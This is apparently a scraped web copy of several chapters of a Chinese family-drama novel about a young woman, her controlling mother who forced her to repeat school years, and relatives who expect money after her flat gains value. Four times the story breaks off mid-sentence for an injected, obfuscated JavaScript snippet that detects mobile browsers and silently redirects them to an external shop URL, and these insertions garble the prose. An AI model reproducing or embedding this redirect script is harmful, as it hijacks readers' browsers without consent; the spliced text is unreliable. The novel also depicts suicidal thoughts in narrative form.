眼光扫过身旁,她看见二女儿姚舒云的半边侧脸,在窗外路灯的映衬下,脸庞轮廓十分清晰。 “这样子真像极了她那个死爹!” 闵佳荣不禁撇撇嘴,扭过脸去,每当看到姚舒云,她总会感觉很厌烦。 对这个女儿她毫无感情可言,可又不能表现出来,毕竟讨厌归讨厌,姚舒云还是很有用的:大学毕业,工作不错,有收入……自己以后的吃穿玩,尤其是养老可都得靠她。 这样一想,闵佳荣又将脸重新扭过来,脸上的冰霜也尽数消散,换上了慈祥温和的笑容。 “哎呀,你们这房子买的很对啊!现在涨这么多了,可是了不得呢……” 从下车一直到打开门进到屋内,闵佳荣的感慨就没停过,话里话外都透着赞赏、羡慕和渴望。 被母亲这样连番恭维,姚舒云自然十分开心,谁不喜欢被别人羡慕,尤其是被自己喜欢的人当面夸赞呢。 一时间,姚舒云有些飘飘然,她亲昵地挽住母亲胳膊,说话语气也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404811|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不自觉娇嗔起来,再加上和丈夫新婚燕尔,欢喜恩爱,所以彼时的她整个人神采飞扬、熠熠发光。 “过去那些不开心的事儿就全都忘了吧。”姚舒云暗暗对自己说,她要珍惜现在,珍惜眼前这些自己爱着的人。 可哪知,事情并不能如她所愿。 姚舒云正在阳台上收晾干的衣服,母亲突然走过来,说:“你看,这个裙子,抽丝了。” “啊?怎么回事儿?” 裙子是她刚给侄女梦梦买的,原本外面有一层亮晶晶的纱,现在却皱巴巴地缩成一团,从中伸出许多线丝,“这咋回事儿?” “我给它放洗衣机里洗了,结果就这样。” “这怎么能放洗衣机里洗呢?这得手洗呀!”姚舒云一边翻看裙子,一边说。 正当她奇怪母亲怎么突然不说话了,一抬头,发现母亲闵佳荣正死死地盯着自己,一脸阴沉。 见姚舒云看过来,闵佳荣脸上尽是嘲讽的表情,缓缓开启嘴唇道:“你不也就一套房吗?!” 紧接着丢过去一个厌恶至极的白眼,随后转身离去。 此情此景,恰如幼年时候的翻版,除了少了那响亮的一巴掌,可那一句话不正好替代了吗? 一时间,姚舒云竟分不清自己身处何时,是过去七八岁时的儿童期,还是现在二十七八岁的青中年期? 她呆愣在原地半晌,反复思考刚才的对话,“我刚说啥了?‘裙子抽丝了’——我说‘这怎么能放洗衣机里呢’——然后母亲就不说话了?” “是不是语气不太对?是我的语气太急了吗?是不是应该先说‘没事没事’,再说裙子的事?” “还是脸上表情欠妥当?还是……到底哪一点让我妈不高兴了?” 她翻来覆去地想,想得头疼。 直到丈夫走过来拍她肩膀,姚舒云才从这纷乱无章地思索中走出来。 她还是没想明白,母亲怎么就生气了,自己到底哪点儿没做好? —— 第二天一早,闵佳荣就嚷嚷着要回家去,姚舒云千留万留,怎么说都劝不动,最后只得帮母亲订好车票,送她到车站。 临走时,她也没给姚舒云好脸色,还推辞着死活不肯收下衣服,最后姚舒云都快哭出来了,好说歹说她才肯把衣服收下。 “哎,”看着妻子脸上的表情,丈夫周豫林问:“你这又是何必呢?又是不舍又是伤心。” 车子已经开出很远,姚舒云还站在路口张望。 “哎,哪能咋办呢?她是我妈,亲妈,说了点什么,做了点什么,我不也得受着嘛。还真跟她计较吗?再说,可能我当时说话的语气有点急,或者……哎呀,反正肯定有不对的地方,所以不怪我妈生气。” “你呀,还挺善解人意的,希望以后对我也这样。” “哼,你想得美。” 两人玩笑几句,就在这时,周豫林的手机“滴”一声,来了条短信,他刚要拿起来看,被姚舒云“夺”了去,“让我看看,是哪位美女给你发消息呀。” 瞄了一眼,顿时大失所望,“啊?是这啊!” 5. 亲戚(1) 她快速将手机丢还给丈夫,说:“得,这个月又得吃土了。” 然后朝他拱拱手,“银行催您缴费啦。” 他们目前住的这套房子位于城市三环边上,当时为了结婚,两人将辛苦多年积攒的20多万悉数拿出来,付掉首付,此后每月要还近3千块的房贷。 直到这会儿姚舒云才有点醒悟过来,虽说房价涨了点,可于她毫无影响啊——该还的钱一分也少不了,两人依旧得节衣缩食地过日子。 母亲和侄女这一趟过来,她又是带逛街、游玩,又是给买新衣服,因此计划的每月家庭用度早已超额。余下的日子虽说不至于吃糠咽菜吧,其实也差不离了。 回家躺倒在沙发上,姚舒云半感慨地说:“你觉得这个房子像不像一座牢笼,一座精致华丽的牢笼?咱们表面上住着大房子,实际上得被它困住,一辈子负重前行。” “倒也没有那么夸张。”周豫林坐在妻子身旁,把她的腿放在自己身上,揉捏放松,说:“我公司现在效益不错,等下周一过去,我跟主管提一下加工资……” “啊?真的吗?能加吗?”姚舒云立刻来了精神,“能加多少?” “大概……1千?” “那可太好了。”姚舒云捧起丈夫脸蛋,亲了一口,说:“等着,老婆大人这去给你弄点好吃的。你可是咱家的大功臣,要好好犒劳犒劳。” 然后蹦蹦跳跳地走开了。 多了这1千块钱,生活会极大地改善,这于他们而言,实在是太好的消息。 —— 眨眼又是一个周末,一大早,“叮铃铃……”姚舒云的手机响个不停。 她艰难地从被窝里伸出手,四处摸,终于从床边一角找到险险掉落的手机。 一接通,里面立刻传来“火药”的爆炸声,“干什么?怎么这么半天才接电话?!磨磨蹭蹭地,是不是不想接我电话?要是不想接我电话就直说!” 她几次想插话都插不进去,好不容易等那边消停了点,姚舒云才见缝插针地赶忙说:“这窗帘没拉呢,我好半天没找到手机掉哪儿去了。” 为了防止母亲余怒未消“再次进攻”,姚舒云又不失时机地递过两句好话:“呀,妈,你咋这么勤快,醒这么早呢,这时间还不到7点……” “哼,谁像你啊,这么死懒。”说是这样说,母亲闵佳荣的语气倒是好了些,看来好话还是起了点作用,只不过不长,紧接着,她突然问:“你这几天咋没给我打电话?啊?” “我给你打了呀,你刚走我就打了,”姚舒云有点小声地说:“可……你不是没接嘛?” 闵佳荣这才突然想起,从姚舒云那儿回来时,她的确一连打过好几个电话,可当时自己正在气头上,有意要晾晾她,所以才故意没接。后来自己就把这事儿给忘了。 原本以为最多隔两天,姚舒云必定会再给自己打电话,可左等右等,直到今天,还是没有打。 闵佳荣有些坐不住了,她担心自己会不会做得太过,死丫头生气不理她了,那自己以后吃的、喝的、玩的……还找谁要啊? 因此,这不一大早她就赶紧打来电话,厉声质问。 当下被姚舒云戳穿,闵佳荣脸上有点挂不住,但,紧接着,她就反问:“啊,我不接,我不接你不会再打吗?多打两个电话能咋了?啊?我看你就是不想打吧!” “哎,真不是,这几天公司忙,我晚上都在加班,就昨天,我快10点才回来。”姚舒云着急解释道。 听她这样说,电话那头,闵佳荣生硬的嗓音才稍微舒缓点,“哦。” 随后,她说:“你三姨胃结石刚出院。你现在也成家了,得去看看人家。” “哦,那,那我怎么看?” “‘去看看’的意思就是你拿点钱或买点礼品,过去瞧瞧人家。你现在不是小孩儿了,得知道人情世故。” “哦哦,我明白。”姚舒云连忙点头,“拿钱的话,拿多少钱合适?买礼品的话,买啥比较好?” 不怪她啰嗦,虽说年龄不小也成家了,但这种人情往来她经验匮乏。她们这一代人,从学校出来后就踏入职场,很少有这种单独走亲访友的机会,自然也不懂要买什么送什么。 母亲闵佳荣给了建议,姚舒云起床整理好衣服,坐车先去P镇的姐姐家,然后同姐姐一起,去相距不远的三姨家。 一路转车、倒车、跟姐姐汇合、去市场买礼品,最后再一起搭车过去…… 等最终到达三姨家时,已临近中午12点钟。 早早打过电话,所以等姚舒云姐妹俩赶到时,快开饭了。 姚舒云三姨刚动完手术不久,走路还有点颠簸。 一见面,她就扶住三姨胳膊:“三姨,你咋起床了?躺床上多休息呀。” 对于这个三姨,姚舒云打心底里热爱,三姨为人风趣、善良、脾气好,不像母亲那样,总是板着冷冰冰的一张脸。 曾经姚舒云把她当做自己理想母亲的化身,因此对她十分敬重和亲近。 “嗯,没事儿,还好,几天了,可以下床活动活动。”三姨闵佳瑞边说边招呼两个外甥女坐下,端来一盘洗好的水果,让两人吃。 许久未见,几人热切地寒暄,不一会儿,有人叫吃饭。 姚舒云看过去,见那人是三姨的姑姐,原来,弟媳妇生病,她特意过来帮忙做饭。 饭桌上,三姨亲切地给姐妹俩夹菜,几人说说笑笑,很是欢快。 忽然三姨看向姚舒云,说:“现在,一切都挺好,挺开心的吧?” “嗯,”姚舒云嘴里正嚼着菜,她想也没想地点点头,“嗯嗯,挺好,挺好。” “听说你那房子现在可值不少钱呢?” “啊?”姚舒云这才反应过来,三姨说得并不是这饭菜的味道。 “啥房子?啥值钱?”姐姐姚燕立刻插嘴问。 “你妹家的那房子,现在涨价了,比买来的时候可值不少呢。”三姨同姐姐姚燕解释道,“听说现在值一百多万呢!!” 此言一出,几人纷纷讨论开:惊叹、羡慕、不敢置信、恭喜、打趣、笑话……什么都有。 姚舒云顿时有一种身怀其璧、乞丐乍富之感,可明明房子还是那个房子,她还是那个她,什么都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404812|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有改变。 她隐隐感觉到有一丝不安,但在身旁人一声声的羡慕中,又有点迷失,仿佛自己真的就很有本事,变得很富有了。 “哎,你三姨啊,没有女儿,以后可得靠你了。”三姨姑姐看起来有些难过,抬手像是在抹泪,说:“你看你三姨,这胃结石动手术,可遭罪了呢。” 这个时候,大家都在看着她,姚舒云忽然觉得,自己在她们眼里就是一个暴富的人,所以接济照顾亲戚自然就成了她的责任。 可,可她明明就是一个穷光蛋啊! “我……我……”姚舒云忽然感觉如芒在背,如鲠在喉,她不知道要怎么解释自己当下的处境,其实就连今天的花销还是从下个月的生活预算里扣来的。 笑也不是,不笑也不是,姚舒云脸上一阵尴尬,她变得有些坐立难安。 恰在这时,有人过来修车(三姨家是修电动车兼卖电动车的),三姨和三姨夫忙过去招呼,谢天谢地,姚舒云总算逃过一劫。 她捏起后背濡湿的衣服一角轻轻扇了扇,暗里缓缓呼出一口气,好让人不要瞧见她的狼狈。 回去时,姚舒云坐在公交车上,头靠着玻璃窗,想,自己当时怎么做才合理呢? 要说自己没钱,拒绝,她们会说,哼,你现在房子值那么多钱,咋会没钱?分明就是有钱了看不起穷亲戚,不想帮忙照顾。 要说自己有钱……可……可她真没钱啊!!总不能把房子卖了……可就算想卖房子,她也还不起余下的房贷啊! “这……” 一时间,姚舒云感到左右为难,还没怎么感受到房子升值的那一点点喜悦,反而就陷入了麻烦中。 这个时候,她开始后悔为什么当初接到那个中介电话,自己多的那一嘴! 不用想也能知道,“房子升”一事儿必定是被母亲传播出去,她好面子又要强,必定是拿二女儿姚舒云当旗帜在亲戚们面前逞能。 姚舒云不敢想象母亲到底会怎样添油加醋说起房子这档子事儿,现在似乎所有亲戚都认定她发财了很有钱,都等着她花钱布施众生呢。一旦说自己没钱或者哪点儿没做到位,那就成了有钱人看不起穷亲戚了。 这一顶帽子扣下来……姚舒云瞬间有一种被架在火上炙烤的感觉,她越发焦躁烦闷。 她又想起饭桌上,三姨夫聊到工作的事儿,说他儿子今年高考,不知道该报哪个专业。 姚舒云的丈夫周豫林是一名程序员,因此她颇有兴致地说男孩子一般都比较喜欢玩电脑,感觉做IT计算机相关的不错,也算当下热门行业,出来也好找工作。 三姨夫点点头,说也可以,但他更想让儿子学金融。因为自己的内外甥女婿就是做金融行业的,很赚钱,也很体面。程序员工资虽高点,但是要经常加班,很辛苦。 也不知是不是自己多心,总感觉他言语之中,似乎隐隐有着一种不忿的情绪。 姚舒云摇摇头,有些责怪自己想太多了,也许别人只是普通的表达自己对行业的看法而已。 然而,后来她才知道,这并非是自己多想,三姨夫的那个眼神,只是开始。 6. 亲戚(2) 几日后,三姨打来电话,邀请他们周末去吃儿子姚波的升学宴酒席,姚舒云十分开心地应承,承诺必定会准时到达。 那天饭店人很多,差不多所有亲戚都到了。吃饭时,三姨夫妇俩轮番给客人敬酒,到他们这桌时,姚舒云说:“恭喜三姨三姨夫,祝老弟姚波金榜题名,前程似锦。” “以后还得仰仗你和豫林呢。哎,豫林今天咋没来?” “他,公司临时有事儿,没来成,不然肯定得跟着过来讨杯喜酒吃呢。”姚舒云笑嘻嘻地回道。 “你们年轻人啊,真能干,挺好。”忽然,三姨像是才想起来什么,盯住姚舒云问:“舒云,你也是三本吧?” “嗯?”姚舒云一下子没反应过来,毕业多年,她都快忘了学校这回事儿,等她意识到,立刻说:“哦,是啊,在老家省会上的学……” 三姨打断她,又接着问:“好像你还留过级吧?不止一次?” 留级?留级…… 刹那间,记忆闪回到多年之前。 犹记得那是一个下午,刚过完年不久,母亲闵佳荣正和来家里拜年的客人坐在椅子上叙闲话。 姚舒云端坐在一个废弃的破煤炉上,炉子口刚刚好承住她的屁股,她一边看着黑白电视机里的动画片,一边津津有味地听大人们聊天。 忽然,她好像听见母亲说“……今年不让她上初中……留一年小学,明年再上……” “什么?谁?不上初中?”姚舒云漫不经心地嘀咕,忽然一个激灵,后知后觉地意识到母亲说得很可能是自己。 姐姐已经在上初一,弟弟还在读四年级,只有她,目前正在上五年级,下半年就要上初一了。 因此,母亲口中的“她”,难不成是自己??! 姚舒云赶紧确认,小心翼翼地问:“妈,你说得是谁呀?谁不上初中……” “是你。下半年你先不上初中,再读一年小学。” “啊?!”姚舒云心里顿时像漏了个洞一样,慌得不行,赶忙说:“妈,我不留级,我要上初中。我跟翠都说好了,初中我们要一起骑车上下学。” 对于她们这种连赶集都没去过几次的小孩儿,在乡镇上的中学无疑是一个天堂般的存在:高大、神圣、神秘、诱惑,充满吸引力。 她早就跟发小兼好友姚翠畅想过无数次,等秋天上了初中,两人要每天一起骑车上下学。 是啊,骑着自行车,从家里到乡里,一路有看不尽的风景,说不完的悄悄话。 而且最重要的是,升上中学,意味着一个身份上的转变,从此她就不再是一个脏兮兮的小破孩儿,而是长成了一个青春期的明媚少女。 不光如此,发小姚翠的哥哥姚亮,今年也要上初中,姚舒云对他有一种模糊的朦胧的好感。那是一种刚迈入青春期的女孩儿独有的少女情怀,如果她留了级,那还怎么上中学?那她所有的美好幻想都落空了啊! 一想及此,姚舒云瞬间感到全身发凉,她努力迫使自己镇静,然后面向母亲,再次开口道:“妈,我不想留级。我年龄大了,我想跟翠一起上中学。我真的不能留级,求你,让我上中学吧。” 母亲闵佳荣淡淡地看了她一眼,随后撇过眼神,继续和客人聊天。 闵佳荣性格十分严厉,平素姚舒云非常怕她,见了她常常是能避则避,能躲则躲,就连她的眼睛也很少敢看。 可是这一次,为了不留级,姚舒云硬着头皮,再次看向母亲,脸上硬生生挤出笑容,讨好地说:“妈,我真的不想留级。你看我年龄大了,再留一年又得多花钱,求你了,让我上中学吧……” “别再说了,你再上一年小学,和你弟一起。” “和我弟,我……”电光火石间,姚舒云突然想起之前学校大扫除,她正在走道上扫地,一抬头发现母亲从身旁经过,她惊喜地喊道:“妈,妈,你咋来了?” 闵佳荣扭头淡淡看了她一眼,什么话也没说,从女儿面前直接走过去了。 后来回家听奶奶说,弟弟和校主任的儿子打架,脸上被树条抽了一道长长的印子,母亲气不过,跑去学校理论。 那想来留级必是为了弟弟,为了弟弟身旁有人照料,为了弟弟能不被人欺负。 姚舒云猜到其中原因,立刻向母亲解释,说:“妈,你看,弟弟上四年级,我上五年级,即便留级,我也不一定会跟他一个班。就算在一个班,我也不可能时时刻刻盯着他,所以我留级对他也没什么用处。妈,求求你,就让我上初中吧。我真的很想上初中,我……” “不在一个班也没关系,你多少能照应点。”闵佳荣看起来似乎已经不耐烦了,但有人在旁,她还是努力保持克制。 “妈,我,”姚舒云不知是该哭还是该笑,她真的觉得很荒谬,为了弟弟,就可以白白牺牲掉她一年的时间,就完全可以无视她的任何诉求,就能想出这种荒唐的主意。 “哈,难道我在他就不会跟别人打架吗?难道你不知道自己的儿子个是什么性格吗?都怪你们的娇宠,让他无法无天,否则,何以别人要同他打架?” 这些话姚舒云当然不敢宣之于口,她只能在心里默然愤慨。可眼下当务之急,不是逞一时义气,而是要趁事情未定前,努力说服母亲改变心意。 “妈,你知道的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404813|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留级根本没用,我也根本不可能和他在一个班,又怎么可能会有什么照顾,所以,真的,多留一年还多花钱,完全没必要。求求你,千万……” “行了!别说了!!”闵佳荣脸上尽是不耐烦,连克制都懒得装了。 其实还有一层意思,她是想让姚舒云知道事情已经拍板定钉,让她无需再多废话。 尽管知道作为家里的第二个女孩儿,自己本身就是个多余的存在,可这一刻姚舒云顾不得替自己委屈,她不想留级啊,她不想被困在这里白白耽误一年,她只想上初中,跟好朋友一起。 其实她不知道的是,姚舒云之所以千方百计地想去乡里上中学,除了能跟好友一起上下学之外,更重要的原因是她想逃离,想逃离这个家,想逃离弟弟,想有一点能自由自在呼吸的空间。 弟弟姚鹏飞性格十分暴虐,喜怒无常,说打即打,说骂就骂,他有一千种一万种法子折磨人。稍有不顺心,随便操起什么东西都往人身上招呼,曾经有一次,他拿了把剪刀,往大姐姚燕身上扔,结果生生将姚燕的头扎了一个洞,鲜血直流,缝了好几针。 要搁别的家庭,这样的孩子非得打半死不可,然而闵佳荣知道后,也仅仅是训斥儿子几句,并没有别的惩罚。 而姚舒云因为会服软,肯受委屈,所以身体没有受过大的伤害,然而精神却饱受摧残,她记得最极端的时候甚至给弟弟下跪过,只求他别胡闹。 母亲闵佳荣十分重男轻女,而且这个家族对男丁的渴望更是到了骨子里。姚舒云的大伯,曾有过一个男孩儿,可惜在孩子4岁时,生了场病,很快便夭折了。此后再无所出,最后抱养了亲戚的一个男孩儿来养。而姚舒云的叔叔,一连生了4个女儿,至今仍在外东躲西藏,只为能生个儿子。 可想而知,作为大家庭里唯一的男孩儿,姚舒云弟弟受重视程度简直堪比电视剧里演的小皇帝。 而且母亲的宠溺让他更加有恃无恐,无法无天,稍有不顺从,便非打即骂,简直能把人折磨致死。 家里所有人都宠着他、顺着他,可在外面,别人不会这样,也因此,他与人发生争执是再正常不过的事情。 然而闵佳荣不会这样想,她顶多觉得儿子脾气差了点,都是校主任的儿子太过娇横。 看着儿子脸上那长长的一道印子,闵佳荣心有余悸,这要是再偏差大点,打到眼睛……她不敢再想下去。 因此,壮着胆子,她也要找到学校理论。 可争执几句没什么用处,事后的防范才是重点,自己不能时时刻刻盯着,那唯有找一个人替自己看着宝贝儿子。 可找谁呢? 7. 算计(1) 几乎是没有多想,闵佳荣就决定让二女儿姚舒云待在儿子身旁照顾,一来两人年龄相仿,只差两岁,二来都在上学,简直是再合适不过了。 原本姚舒云秋天要升初中了,可经此一事,闵佳荣直接决定让她多留一年级,先不要去上中学了。 好不容易能上中学,暂时逃离这个家里,能有一丝喘息的机会,姚舒云自然拼了命地想要说服母亲。 “妈,我真的不想留级,留级也没什么用呀,求求你……求求你让我上中学……”姚舒云心里像压了千斤秤一样重,眼泪在眼眶里打转,她看着母亲,再次苦苦哀求。 她不想啊,真的不想留级。她想上中学,她畅想过无数次和好友们一起上中学的场景,怎么能因为一个无端荒谬的理由就此中断呢? 而且自己的年龄确实很大了,姚舒云本来上学就晚,要是再留级导致岁数更大,别人日后肯定会因为这个笑话。 尤其是不知道为什么,姚舒云内心隐隐感觉一旦真的留了级,此后路途必定多坎坷,她一生仅剩的好运气也会消失殆尽。 所以即使再惧怕母亲,她也不得不硬着头皮多番苦求。 “妈,求求你,让我上中学吧,我不想留级,不能留级,我真的很痛苦,很难受……” 然而不管怎样哀求,甚至是泪流满面,闵佳荣都无动于衷。 有外人在,闵佳荣心里有火也不好发泄,没一会儿,她起身离开,临走时撂下一句轻飘飘地话:“好了,别废话了,事情已经说定了,你再说什么也没用。” 绝望,一种深入骨髓、痛彻心扉的,巨大的绝望,将姚舒云深深地缠绕,擭取。她无法挣脱。 她清晰地记得那天自己坐在炉子上,任由眼泪往下淌,一直枯坐到天黑,眼泪都流干流尽了。 至今她还能清楚地回忆起一张流干眼泪的脸是什么感觉,就像被胶水糊了一层又一层,又紧又硬又干巴。 —— 后来她知道了,是因为自卑。 自从留级后,她很少有真正抬头挺胸的时候,她本上学就晚,又加上母亲强硬地逼迫留级,导致姚舒云比班里的同学普遍大一两岁,更有甚者,三岁也是有的。 那个时候,她身体已经发育,胸前微微凸起的两个小点,让她更加羞耻难当。 后来上了中学,虽然努力学习,稍微有点成绩,却被班主任老师嫌弃,他儿子年纪轻轻就已经上了初中,因此很看不起年龄大,死读书的人,“有的人,虽然成绩略好点,只不过是留级硬留出来的。而没有留过级的人,虽然目前成绩差点,但以后冲劲儿会很大。” 当被同学问及,“咦,你怎么比我大两岁?”时,姚舒云也只能哑然。 她终日惶恐、自卑、压抑,生出不想读的念头,再加上乡镇中学考上高中难如登天,姚舒云自知考高中无望,萌生退意。然而,这时父母已在外打工多年,他们深知学历的重要性,鼓励姚舒云继续读下去。 中考落榜,姚舒云不得不复读一年,那一年她发愤图强,日夜苦读,终于皇天不负苦心人,她如愿以偿成为那年中学里仅考上两个人的其中之一。 然而上了高中后,她发现根本无法跟上进度,自己的确是个天资愚钝的人,而且又因为内心始终介怀比旁人岁数大,导致自卑难解,因此她更加抑郁不安。 好不容易捱完整个高中,终于参加完高考,以她的分数可以考个很不错的大专院校,姚舒云也很满意了。她自知天赋差,未来上完大专能找一份糊口的工作也可以了。 再说,天大地大,自己尚还年轻,或许未来会有不一样的境遇。只要能重新开始,只要能去另外一片天空,姚舒云有信心自己会一点点恢复自信,好好地振作。 然而,母亲却不顾她的意愿和哀求,非要强迫她再复读一年,说是要考个更好的大学。 姚舒云再也没有了一点当初微薄的心气儿,就连对未来的几分期许也彻底丧失,她整日如行尸走肉一般,游走在寂寥又繁闹的高中校园。 有很多次,她甚至想到了死。 好不容易挨到高考完,她浑浑噩噩地听从建议,报了一个什么也不懂的专业。 录取的是一个三本院校,学费昂贵,姚舒云极力不想去,她深知父母的钱十分金贵,用了一分,日后必定要还10分,而且还要一辈子忍受良心债,父母供她上完大学后就是理所应当的债主,往后必定会肆无忌惮的压榨。 况且,她自知天资愚钝,实在不适合继续上大学,而彼时,大学的学历闪闪发光,人人都为有一个能考上大学的孩子而自豪,姚舒云父母自然也不例外。他们也想在亲友面前出尽风头,儿子毫无指望,他们只能将希望押注在姚舒云身上。 然而,同以往的很多次一样,她的诉求和反抗无济于事,改变不了父母所做的任何决定。 开学没几天,便被同宿舍的一女生当众人面贴脸开问:“哎,姚舒云,你是哪一年的啊?” “我,8……,90的。”姚舒云故作镇静地说道。她平素早起晚归,不与宿舍人多接触,怕的就是被人问起年龄。 然而同处一屋檐下,哪能不碰面呢,又怎么能避免有心之人的窥视与打探呢。 为了这一刻的所谓的“面子”,姚舒云昧着良心撒了谎,把自己硬生生说小了一岁。 “噢?那你证件上怎么……” “是因为上户口的时候,被写错了。” 那时候农村登记户口、□□件,并不凭靠所谓的出生证明,而只是家里大人的记忆,因此被说岔说混也是常有的事儿。 女生听完点点头,没再多言语,其他人则是聊起先前中止的话题。 然而谎言经不起“考验”,因为某个契机,她被当众拆穿隐瞒了年龄,那一刻,所有人的鄙夷、唾弃,让姚舒云感觉脸上火辣辣地痛。 她没想到,过了4年之久,室友竟还记得当初那看似“随口一问”的年龄。 她成了一个笑话和谎话精的代名词,人人都觉得她年龄大、又愚笨,虽然因为基本的素养并不会真的对她怎样,然而明里暗里的嘲讽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404814|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和孤立,让她羞愧不已。 无数次,她站在宿舍顶楼上,望着城市黑夜里点点滴滴的万家灯火,想要一跃而下,做一只自由的鸟。 可是她又没有勇气真的那样做。 她怕死。 后来,她无数次地开解自己,“我并不是真的想要撒谎,我只是想在众目睽睽之下,维护自己那小小的、可怜的一点自尊罢了。我有什么错?” “是啊,我有什么错?”姚舒云一遍又一遍地呢喃,内心又生出无尽的懊悔和苦闷,她无力抗拒母亲,也无力抗拒她加诸在自己身上的层层枷锁。 曾经,她为了儿子不被打,勒令姚舒云留级一年,后来又为了在众亲友间能炫耀有一个上大学的女儿,又迫使她再一次留级,等她上大学时,已比宿舍里年龄最小的女孩儿整整大了4岁。 换言之,别人大学毕业也就是她刚入学的年纪。 一步晚,步步晚,等到姚舒云大学毕业出来找工作时,她的年龄再一次成了笑话。同事间的窃窃私语,她只能佯装听不见。 泥淖里浮沉、拉扯小半生,等到某一天她幡然醒悟,原来“一旦真的留了级,此后路途必定多坎坷,而且一生仅剩的好运气也会消失殆尽。” 这里面的“好运气”指的是她的“自信”。 没有自信,她注定做什么都不会成功。所以,至今她一事无成。在一家小公司里浑噩度日。 —— 三姨的一句话让姚舒云回忆起那个沉痛的午后,她的抗争不得。 痛苦的回忆令她不忍地闭上眼睛,再睁开时发现身边人似乎都在看她,三姨没有走,好像在等她回答。 “嗯,是……是的。”姚舒云转头笑着看向身旁母亲闵佳荣,语气故作轻快地说:“这是我妈的功劳呢。” 多年过去,当年之事,里面的曲曲绕绕已没法理清,除了她这个当事人有刻骨铭心的感受外,任何人、想必就是母亲本人怕也早已忘了。 其中是是非非、恩恩怨怨,她已没法再去追究任何人的责任。再说,一家人,又何谈是谁的责任。 所以到了今天,即便是天大的委屈,她也只能笑着吞下,没法子的事儿。除了最后那一句调侃,她再也没任何办法。 三姨像是听不出后面那句话的意思,只听到前一句令自己心满意足的答案,便立刻垂下眼皮,不等姚舒云再说什么,转身离去,和丈夫一起去了另外一桌敬酒。 这时母亲闵佳荣转过头来,满脸不悦,“啥就是‘我的功劳’?我累死累活、生病也不舍得请假,供你上大学还供错了?” 见姚舒云不吭声,闵佳荣抿住嘴,斜眼狠狠剜了她一眼,讥诮地问:“感情我花这么多钱,供你上个大学,还供出个仇人来了?” “你不是‘回本’了吗?” 一听这话,闵佳荣立刻神色有些慌张,她看了看四周,见纷闹的人群没有人注意到这里,才稍稍放下心来。她本还想再反驳两句,又唯恐姚舒云会继续说下去,被旁人知晓。因此只得不甘地闭上了嘴。 8. 算计(2) 大学毕业工作后的第二年,姚舒云刚刚涨了一点工资,刚刚能每月略有结余,母亲闵佳荣立刻说:“我这累死累活花钱供你上大学,你不得回点本给我吗?” 当时她正满脸喜悦地跟母亲分享下个月公司要涨工资的事儿。 听到这句话时,姚舒云心里倏然一凉,但很快,她觉得自己这样不对,她不应该为母亲向自己要钱“回本”而难过,或者有任何一丝一毫地抱怨。 所以当时听到身旁有人问,“哎呀,这个(上学的)钱还要吗?” “那当然了!”闵佳荣理直气壮地回答:“我花那么多钱,供她上学,现在她能工作了,不应该回点本给我吗?” 此时的姚舒云也赶紧出来声援母亲,“嗯,是得要还,先前是我疏忽,忘了。” 后来母亲再未在人前提过这件事,许是怕被人非议,但私下里她让姚舒云每月转2000块钱给自己,一直转满2年时间。 2000块钱,不多不少,恰恰是姚舒云吃喝除掉,所能积攒下来的每月最大额度。 那两年,姚舒云没买过任何一件像样的衣服,也没买过任何一套好点的护肤品,愣是生生还够了两年时间。 要说抱怨,也是有的,但许是知道这一天早晚会来,姚舒云倒是很平静地接受了这件事情。 她一早就知道父母的钱没那么好拿,用一分必定要还十分,而且还必须要接受父母是自己一生债主的思想,这也是当初自己为什么极力反对上大学的原因。 但姚舒云也不怂,既然享受了别人的付出,那理所应当的给予回报。尽管这份“付出”,是她当初极力抗拒的。 —— 闵佳荣自然不敢让旁人听见,她原以为向女儿姚舒云索要钱财“回本”,是很天经地义的事儿,直到身边所有人都觉得这样不对时,她也就不免疑惑起来。 仔细想想,这样做似乎的确是不厚道,自己家虽说不富裕,但上学学费还是能拿得出的,供姚舒云上完学又让她返还学费,“这似乎……” 